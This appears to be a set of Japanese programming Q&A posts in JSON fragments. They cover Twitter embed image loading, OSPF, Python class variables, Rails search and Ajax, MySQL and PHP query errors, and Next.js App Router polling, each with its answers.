<https://platform.twitter.com/_next/static/chunks/3.dc446a58e72d99fbbc5e.js>\n * <https://platform.twitter.com/_next/static/chunks/loaders.card.DefaultCard.62f0b5bedf79f4020932.js>\n\nで参照している可能性がありそうなことが分かります。\n\nあとは **Sources** タブで上記のファイル中に含まれる `media_url_https` を参照していそうな箇所に breakpoint\nを張ってステップ実行していけば冒頭の `img` 要素を生成している処理にたどり着けそうです。 \nこれも読み込み指定している処理と呼べそうです。 \n(JSについてあまり詳しくないですが、minifyされたフレームワークコードのように見えるので、この手段で実際に見つけるのは困難ではないかと思われます)\n\n* * *\n\nいずれにせよ、\n\n> この時、画像は上記コード内のどこで読込指定していますか？\n\nに対しては、上記コード内のどこでもないが、 iframe をロードしている処理が間接的にかかわっている、という回答になるかと考えます。\n\n> aは、下記オブジェクトのことですか？ \n> testメソッドはどこに書いてありますか？\n\nこれらも **Sources**\nタブでステップ実行していくとわかるかと思いますが、前者はその通りで、後者は[こちら](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test)です。",
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"body": "下記画像のRouterA,B,CでOSPFによる経路交換を行いたいです。\n\nこの場合、下記画像の赤枠部分は同一ネットワーク、同一VLANでないと経路交換は行えないのでしょうか？ \n[](https://i.stack.imgur.com/LZrI7.png)",
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"title": "OSPFのL2SWを挟んだ経路交換について",
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"body": "以下のソースコードで、クラスの先頭で宣言した変数がvarsによって取得できません。 \n`__init__`, `__str__` メソッドにおいて、vars(self)で得られる変数は、`__init__` で宣言した変数 a0, a1,\n... のみです。 \nデバッガにで、ブレイクポイントで停止し、selfメンバーをウォッチすると、先頭で宣言した、b0,b1,....が存在することが分かりました。 \nクラスのインスタンスからメンバー変数b1を出力すると、正常に出力しています。\n\nこれはなぜでしょうか？ \n`__str__` で self.b0, self.b1 ... をvarsで抜き出したいのですが、できないのでしょうか？\n\n```\n\n import json\n \n class A():\n for i in range(32):\n exec(f\"b{i} = {i}\")\n \n def __init__(self):\n for i in range(32):\n exec(f\"self.a{i} = {i}\")\n print(\"__init__\",vars(self)) # ここでブレイクポイントを設定\n \n def __str__(self):\n vs = vars(self)\n return json.dumps(vs) # ここでブレイクポイントを設定\n \n \n a = A()\n print(a)\n print(a.b1)\n \n \n```\n\n出力結果\n\n```\n\n __init__ {'a0': 0, 'a1': 1, 'a2': 2, 'a3': 3, 'a4': 4, 'a5': 5, 'a6': 6, 'a7': 7, 'a8': 8, 'a9': 9, 'a10': 10, 'a11': 11, 'a12': 12, 'a13': 13, 'a14': 14, 'a15': 15, 'a16': 16, 'a17': 17, 'a18': 18, 'a19': 19, 'a20': 20, 'a21': 21, 'a22': 22, 'a23': 23, 'a24': 24, 'a25': 25, 'a26': 26, 'a27': 27, 'a28': 28, 'a29': 29, 'a30': 30, 'a31': 31}\n {\"a0\": 0, \"a1\": 1, \"a2\": 2, \"a3\": 3, \"a4\": 4, \"a5\": 5, \"a6\": 6, \"a7\": 7, \"a8\": 8, \"a9\": 9, \"a10\": 10, \"a11\": 11, \"a12\": 12, \"a13\": 13, \"a14\": 14, \"a15\": 15, \"a16\": 16, \"a17\": 17, \"a18\": 18, \"a19\": 19, \"a20\": 20, \"a21\": 21, \"a22\": 22, \"a23\": 23, \"a24\": 24, \"a25\": 25, \"a26\": 26, \"a27\": 27, \"a28\": 28, \"a29\": 29, \"a30\": 30, \"a31\": 31}\n 1\n \n```",
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"body": "コメントの通り、class宣言の下で直接定義された変数は[クラス変数](https://aiacademy.jp/media/?p=922)として扱われます。 \nそのため、`b0`...変数は`vars(A)`で取得することができます。\n\n```\n\n import json\n \n class A():\n c1 = \"クラス変数\" \n for i in range(3):\n exec(f\"b{i} = {i}\")\n \n def __init__(self):\n self.i1 = \"インスタンス変数\" \n \n def __str__(self):\n bs = {x:vars(A)[x] for x in vars(A) if x.startswith(\"b\")}\n return json.dumps(bs)\n \n a = A()\n print(vars(a)) # {'i1': 'インスタンス変数'}\n print(vars(A)) # {'__module__': '__main__', 'c1': 'クラス変数', 'i': 2, 'b0': 0, 'b1': 1, 'b2': 2, '__init__': <function A.__init__ at 0x...\n print(a) # {\"b0\": 0, \"b1\": 1, \"b2\": 2}\n print(a.b1) # 1\n print(A.c1) # クラス変数\n \n```",
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"body": "userモデルにはnameカラムはなくuserの保存が成功すればprofileの保存も成功するようになっています。 \nprofileにnameカラムはあるのですがコントローラーで下記のように定義してもuserモデルにカラムがないので検索ができません。 \nユーザー名でそのユーザーの投稿を検索するにはどのようにしたらよいかご教示いただきたいです。\n\n```\n\n posts_controller.rb\n \n def search\n @q = Post.ransack(params[:q])\n @posts = @q.result.includes(:users, :comments).order(created_at: :desc)\n end\n \n```\n\n```\n\n _seaech.html.erb\n \n <%= search_form_for @q do |f| %>\n <div class=\"field\">\n <%= f.text_field :title_or_body_cont, id: \"search_field_of_post\", class: 'form-control me-2', placeholder: \"投稿\" %>\n </div>\n <div class=\"field\">\n <%= f.text_field :comments_body_cont, id: \"search_field_of_comment\", class: 'form-control me-2', placeholder: \"コメント\" %>\n </div>\n <div class=\"field\">\n <%= f.text_field :user_name_cont, id: \"search_field_of_user\", class: 'form-control me-2', placeholder: \"ユーザー\" %>\n </div>\n <div class=\"actions\">\n <%= f.submit \"Search\", class: 'btn btn-outline-success' %>\n </div>\n <% end %>\n \n```\n\n```\n\n create_table \"posts\", force: :cascade do |t|\n t.string \"title\", null: false\n t.text \"body\", null: false\n t.integer \"user_id\", null: false\n t.datetime \"created_at\", precision: 6, null: false\n t.datetime \"updated_at\", precision: 6, null: false\n t.index [\"user_id\"], name: \"index_posts_on_user_id\"\n end \n \n create_table \"profiles\", force: :cascade do |t|\n t.string \"name\", null: false\n t.integer \"user_id\", null: false\n t.datetime \"created_at\", precision: 6, null: false\n t.datetime \"updated_at\", precision: 6, null: false\n t.index [\"user_id\"], name: \"index_profiles_on_user_id\"\n \n (略）\n \n create_table \"users\", force: :cascade do |t|\n t.string \"email\", null: false\n t.string \"password_digest\", null: false\n t.datetime \"created_at\", precision: 6, null: false\n t.datetime \"updated_at\", precision: 6, null: false\n t.index [\"email\"], name: \"index_users_on_email\", unique: true\n end\n \n add_foreign_key \"posts\", \"users\"\n add_foreign_key \"profiles\", \"users\"\n \n```",
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"title": "検索フォームでユーザー名を入力しユーザーに紐づいた投稿を一覧画面に表示させたい",
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"body": "MySQL Workbenchでは問題なく抽出できるのですが、PHPで実行するとSyntaxエラーが発生します。 \nまた、PHPでエラーとなったクエリーをMySQL Workbenchに張り付けるとやはり問題なく動作します。 \nクエリーは以下となりますが、0件データも抽出したいためLeftJoinをしています。 \nご教示いただけますと幸いです。\n\n```\n\n select distinct t1.value , ifnull(t2.count, 0) as count \n from( select value FROM sa.tbl_textdata_attribute ta \n inner join sa.tbl_textdata_header th on ta.header_id = th.id where ta.analysis_id = '1000' and th.name= '商品カテゴリ') as t1 \n left join( select value, count(*) as count from sa.TBL_TEXTDATA_ATTRIBUTE TA inner join sa.TBL_TEXTDATA_HEADER TH on TA.header_id = TH.id where TA.analysis_id = '1000' \n and TH.name= '商品カテゴリ' and textdata_id in ( select textdata_id from sa.TBL_WORDVOLUME where delete_Flg = 0 and analysis_id = 1000 and ****条件が続く****) \n group by textdata_id) group by value )as t2 on t1.value = t2.value order by t1.value\n \n```\n\nphpのコードは以下です。 \nクエリーを分割しているのは、middleだけ使うケースもあるためです。\n\n```\n\n function getPositiveRate($aid, $category){\n \n if($category){\n \n $query_first = \"\n select distinct t1.value , ifnull(t2.count, 0) as count\n from( select value FROM tbl_textdata_attribute ta \n inner join tbl_textdata_header th on ta.header_id = th.id \n where \n ta.analysis_id = '\".$aid.\"' and th.name= '\".$category_name.\"') as t1\n left join(\n select value, count(*) as count from TBL_TEXTDATA_ATTRIBUTE TA\n inner join TBL_TEXTDATA_HEADER TH on TA.header_id = TH.id \n where \n TA.analysis_id = '\".$aid.\"' and TH.name= '\".$category.\"' and \n textdata_id in (\";\n \n $query_end = \") group by value )as t2 on t1.value = t2.value order by t1.value;\";\n }\n \n $query_middle = \"\n select textdata_id from TBL_WORDVOLUME\n where\n delete_Flg = 0 and analysis_id = \".$aid.\" and (\n *****条件が続く****\n )\n group by textdata_id\";\n \n \n $sql = $query_first.$query_middle.$query_end;\n \n list($cnt, $res) = $this->db->DBrsSqlGet($sql);\n \n return $rtn;\n }\n \n```\n\nPHPのエラーは以下となります。\n\n```\n\n You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\' at line 113 sql=[ select distinct t1.value ****クエリーが続く。\n \n```",
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"title": "MySQL Workbenchで問題ないクエリーをPHPで実行すると構文エラーになります。",
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"body": "''でシンタックスエラーとなっているため、''が利用されている箇所はないのでしょうか。 \n$query_middleの*****条件が続く****箇所も確認してみてください。\n\n<https://dev.mysql.com/doc/refman/8.0/ja/string-literals.html>",
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"body": "コードを書く時、字下げはとても必要なことなので忘れないで下さい。字下げの標準を守るとコードが読みやすくなります。以下のリンクを参考にして下さい。\n\n[https://courses.cs.washington.edu/courses/cse154/18sp/18sp-\ndata/documents/styleguide/sql/spacing-indentation-\nsql.html#:~:text=Indentation%20for%20the%20CREATE%20TABLE%20statement%20should%20be%20consistent.,except%20for%20the%20last%20line](https://courses.cs.washington.edu/courses/cse154/18sp/18sp-\ndata/documents/styleguide/sql/spacing-indentation-\nsql.html#:%7E:text=Indentation%20for%20the%20CREATE%20TABLE%20statement%20should%20be%20consistent.,except%20for%20the%20last%20line)).",
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"body": "MySQLにてテーブル作成のためにcreate文を実行したところ、エラーになります。 \nエラーNoは1064(42000)のシンタックスエラーなので、構文に問題があると思いますが、 \n様々なサイトと見比べても問題が発見できませんでした。 \n問題がある部分をご教示いただければと存じます。 \nSQL文を添付します。\n\n```\n\n create table news(\n id int unsigned not null AUTO_INCREMENT PRIMARY KEY,\n pub_date date(10) not null,\n title VARCHAR(200) not null,\n content VARCHAR(2000) not null,\n user VARCHAR(100) not null,\n prc_date datetime(100) not null,\n status VARCHAR(10) not null);\n \n```",
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"title": "MySQLのCREATEでエラー",
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"body": "予約語にひっかかっている可能性があります。\n\n* * *\n\nエラーメッセージで検索すると、例えば以下のページがヒットします。\n\n[ERROR 1064\n(42000)→構文ミスが見つからない→予約語が原因かも](https://qiita.com/djkazunoko/items/3c6c70d91d0f1b49b61e)\n\nMySQL のドキュメントで予約語のページを眺めてみると、今回の場合は `status` が該当しそうです。\n\n[キーワードと予約語 | MySQL 8.0\nリファレンスマニュアル](https://dev.mysql.com/doc/refman/8.0/ja/keywords.html)\n\n回避策としては別の名前を使うか、該当箇所をバッククォートで括る方法が考えられます。\n\n```\n\n create table news(\n ...\n `status` VARCHAR(10) not null\n );\n \n```",
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"body": "dateとdatetimeは()はマストではない気がします\n\n参考 \n<https://dev.mysql.com/doc/refman/8.0/ja/datetime.html>\n\n```\n\n mysql> CREATE TABLE dt (\n -> id INT NOT NULL AUTO_INCREMENT PRIMARY KEY,\n -> col DATETIME NOT NULL\n -> ) AUTO_INCREMENT = 1;\n \n```\n\n利用する際もdatetimeは6までのようです \n<https://dev.mysql.com/doc/refman/8.0/ja/fractional-seconds.html>\n\n```\n\n MySQL では、マイクロ秒 (6 桁) までの精度で、TIME、DATETIME および TIMESTAMP 値の小数秒がサポートされています:\n \n```\n\nなので、不要であればdateとdatetimeの()を削除して試してみてください",
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"body": "# 非同期通信を実装したい\n\nRuby on RailsとjQueryで「英単語クイズアプリ」の作成をしています。 \nユーザーは出題された英単語の穴埋めを考えて英単語を完成させ、「text_filed_tag」に入力し、送信をクリックします。正解なら次の問題へ、不正解なら再度同じ問題を解く、というものです。\n\n解決方法わかる方いらっしゃいましたら是非ご教授お願いします。\n\n検証ツールで表示されるエラーです。\n\n[](https://i.stack.imgur.com/5fWZf.jpg)\n\n### ソースコード\n\n`show.html.erb`\n\n```\n\n <h1>英単語クイズ</h1>\n <p id=\"question\"><%= @question %></p>\n <%= form_with(url: check_answer_quiz_path(@quiz), method: \"post\", id: \"quiz-form\", local: false) do %>\n <%= text_field_tag :answer, '', id: 'answer' %>\n <%= hidden_field_tag :correct_answer, @answer %>\n <%= submit_tag \"送信\" %>\n <% end %>\n \n```\n\n`schema.rb`\n\n```\n\n create_table \"quizzes\", force: :cascade do |t|\n t.string \"content\", null: false\n t.string \"hint\"\n t.datetime \"created_at\", null: false\n t.datetime \"updated_at\", null: false\n t.string \"questions\"\n t.string \"answers\"\n t.string \"word\"\n end\n \n```\n\n`app/assets/javascripts/quiz.js`\n\n```\n\n $(document).on('turbolinks:load', function() {\n $('#quiz-form').on('submit', function(e) {\n e.preventDefault();\n \n $.ajax({\n url: $(this).attr('action'),\n type: 'POST',\n dataType: 'json',\n data: $(this).serialize()\n })\n \n .done(function(data){\n if(data.status === 'success'){\n $('#question').text(data.question);\n $('#quiz-form').attr('action', '/quizzes/' + data.id + '/check_answer');\n $('#answer').val('');\n } else if (data.status == 'finished'){\n $('body').html('<h1>おめでとうございます！</h1><span>全てのの問題を解答しました！</span>');\n } else if (data.status === 'error'){\n alert(data.message);\n }\n })\n .fail(function(){\n alert('再度トライしてください。')\n })\n })\n })\n \n```\n\n`app/controllers/quizzes/controller.rb`\n\n```\n\n def show\n quiz_data = Quiz.random_question\n @quiz = Quiz.find_by(content: quiz_data[:answer])\n @question = quiz_data[:question]\n @answer = quiz_data[:answer]\n end\n \n def check_answer\n @quiz = Quiz.find(params[:id]) #問題のIDを取得\n if @quiz.content.downcase == params[:answer].downcase\n #ユーザー出した答え(params[:answer])とDBに保存されている正解(@questions.answer)を比較している\n @next_quiz = Quiz.find_by(id: @quiz.id + 1)\n #正解したら次の問題(@question.id)に1を加える\n if @next_quiz\n render json: { status: 'success', question: @next_quiz.content, id: @next_quiz.id }\n else\n render json: { status: 'finished' }\n end\n else\n render json: { status: 'error', message: '不正解です。もう1度挑戦しよう!!'}\n end\n end\n \n```\n\n`db/seeds.rb`\n\n```\n\n Quiz.create([\n { content: \"apple\" },\n { content: \"banana\" },\n { content: \"grape\" },\n { content: \"orange\" },\n { content: \"melon\" },\n ])\n \n```",
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"title": "Rails & jQuery 検証ツールエラーについて",
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"body": "mysqlの新しいバージョンを入れたのですが、新しく作成したruby on\nrailsプロジェクトのデータベースを作成しようとしたのですが、mysqlのエラーにより作成できませんでした。\n\nこちらのエラーはmysqlのuser作成の設定に不備があるのでしょうか？\n\n```\n\n rails db:create\n Running via Spring preloader in process 6850\n Access denied for user 'testuser'@'localhost' (using password: YES)\n Couldn't create 'microposts_development' database. Please check your configuration.\n rake aborted!\n ActiveRecord::ConnectionNotEstablished: Access denied for user 'testuser'@'localhost' (using password: YES)\n \n```",
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"title": "mysqlにRuby on Railsのデータベースを作成できません",
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"body": "こういうのって `rails` 側の設定と `mysql` 側の設定が不整合なだけの話で、よって\n\n> こちらのエラーはmysqlのuser作成の設定に不備があるのでしょうか？\n\nYes と言ってもいいし No と言ってもいい。\n\n`rails` の設定として `testuser@localhost` なる DBuser を使うことにしている \n`mysql` の設定として `testuser@localhost` なるユーザーは無いか、権限がないか、その他。\n\n`rails` 側の設定を `mysql` にあわせてもよいし \n`mysql` 側の設定を `rails` にあわせてもよいっス。方針・仕様次第。\n\n# ンでこの程度の話なら `mysql` でも `mariaDB` でも同じことが同じようにできるはずなので、なぜ異様に苦労してまで `mysql`\nにこだわるのか理解不能っス。",
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"body": "teratailとのクロスポストです。 \n<https://teratail.com/questions/m36tsrglghhmol>\n\n### 実現したいこと\n\n * ページ単位で状態を共有する（実装済みだが、Next.jsの枝葉をClient Componentにして幹はServer Componentにするという原則に反してしまっているので、できれば解消したい）。\n * ブラウザでページロード時に即座に最新の情報が表示されるようにするため、サーバー側で最新の情報を用いてHTMLをレンダリングする（必ずしも必要な機能ではないが、技術的チャレンジとして）。\n * APIをポーリングし、表示を更新する（実装済みだが、 `useEffect` を使うことでClient Componentになってしまう）。\n\n### 前提\n\nNext.js 13のApp Routerを用いてWebアプリを開発していますが、上記の要件を満たす方法が分かりません。\n\n### 該当のソースコード\n\n```\n\n import { QueueItem } from './types';\n \n export default class Manager {\n static current = new LiveStreamManager();\n \n #items: QueueItem[] = [];\n \n private constructor() {\n this.fetchItems();\n setInterval(() => this.fetchItems(), 600 * 1000); // 10mins\n }\n \n getItems(): QueueItem[] {\n return this.#items;\n }\n \n async fetchItems() {\n ...\n }\n \n```\n\nフロントエンドで再生するアイテムを管理するサーバー側のクラスです。\n\n```\n\n import { NextResponse } from \"next/server\";\n \n import Manager from \"@/app/api/Manager\";\n \n export async function GET() {\n let manager = Manager.current;\n return NextResponse.json(manager.getItems());\n }\n \n```\n\nAPIです。\n\n```\n\n 'use client';\n \n import { useState, useEffect } from 'react';\n \n import { QueueItem } from '@/app/api/types';\n \n import Player from './components/Player';\n import QueueList from './components/QueueList';\n \n function App() {\n console.log('rendering App');\n \n const [items, setItems] = useState<QueueItem[]>([]);\n const [currentItemID, setCurrentItemID] = useState('');\n \n useEffect(() => {\n refresh();\n let timer = setInterval(refresh, 10000);\n return () => { clearInterval(timer); };\n // eslint-disable-next-line react-hooks/exhaustive-deps\n }, []);\n \n async function refresh() {\n console.log('refresh');\n \n let items = await fetch(`/api/items`).then(res => res.json()) as QueueItem[];\n setItems(items);\n if (currentItemID === '' && items.length > 0) {\n setCurrentItemID(items[0].id);\n }\n }\n \n return (\n <div className=\"h-screen flex bg-slate-900 text-white text-sm\">\n <Player\n className='grow h-full'\n videoID={currentItemID}\n onEnded={() => {\n ...\n }}\n />\n <QueueList\n items={items}\n currentQueueID={currentItemID}\n setQueueID={setCurrentItemID}\n />\n </div>\n );\n }\n \n export default App;\n \n```\n\nフロントエンドです。Client Componentに指定しています。\n\n### 試したこと\n\n以下のように書き換えてみました。\n\n```\n\n async function App() {\n console.log('rendering App');\n \n // const [items, setItems] = useState<QueueItem[]>([]);\n let items = await fetch(`/api/streams`, { next: { revalidate: 10 } }).then(res => res.json()) as QueueItem[];\n const [currentItemID, setCurrentItemID] = useState('');\n const videoID = items.find(item => item.id === currentItemID)?.media.videoID;\n \n return (\n ...\n );\n }\n \n```\n\nサーバーにおいてレンダリングされているようですが、 `TypeError: Failed to parse URL from /api/streams`\nというエラーが出ます。また、ブラウザ側で再描画とネットワークリクエストが無限ループします。\n\n### 補足情報（FW/ツールのバージョンなど）\n\n```\n\n \"dependencies\": {\n \"next\": \"13.4.6\",\n \"react\": \"18.2.0\",\n \"react-dom\": \"18.2.0\"\n }\n \n```",
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"title": "Next.js 13のApp Routerでサーバー側で最新の情報を用いてHTMLをレンダリングし、かつポーリングして表示更新する",
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"body": "# 1\\. ページ単位で状態を共有する\n\n`app/page.tsx` を単一のComponentを返すServer Componentとする。\n\n```\n\n async function Page() {\n return <App />;\n }\n \n export default Page;\n \n```\n\n# 2\\. ブラウザでページロード時に即座に最新の情報が表示されるようにするため、サーバー側で最新の情報を用いてHTMLをレンダリングする\n\n`app/page.tsx` はServer Componentなので、サーバー側の関数が使える。\n\n```\n\n async function Page() {\n console.log('rendering Page');\n \n const streams = await getLiveStreamItems();\n const videos = await getVideoItems();\n \n return (\n <App\n initialStreams={streams}\n />\n );\n }\n \n export default Page;\n \n```\n\n# 3\\. APIをポーリングし、表示を更新する\n\n[SWR](https://swr.vercel.app/ja)というライブラリを使う。\n\n```\n\n 'use client';\n \n import { useState } from 'react';\n import useSWR from 'swr';\n import type { SWRConfiguration } from 'swr';\n \n import fetcher from '@/app/utils/fetcher';\n \n import Player from './Player';\n import List from './List';\n \n type Props = {\n initialStreams: QueueItem[];\n };\n \n function App(props: Props) {\n const { initialStreams } = props;\n const [currentItemID, setCurrentItemID] = useState('');\n \n // https://swr.vercel.app/ja/docs/typescript#generics\n let config: SWRConfiguration = {\n refreshInterval: 60_000, // 1 minute\n fallbackData: initialStreams,\n };\n let { data: streams } = useSWR<QueueItem>('/api/streams', fetcher, config);\n streams = streams ?? [];\n \n return (\n <div>\n <div className=\"flex\">\n <Player\n className='grow'\n videoID={videoID}\n onEnded={() => {...}}\n />\n </div>\n <List\n className='m-4 mx-auto'\n streamItems={streams}\n currentItemID={currentItemID}\n setItemID={setCurrentItemID}\n />\n </div>\n );\n }\n \n export default App;\n \n```",
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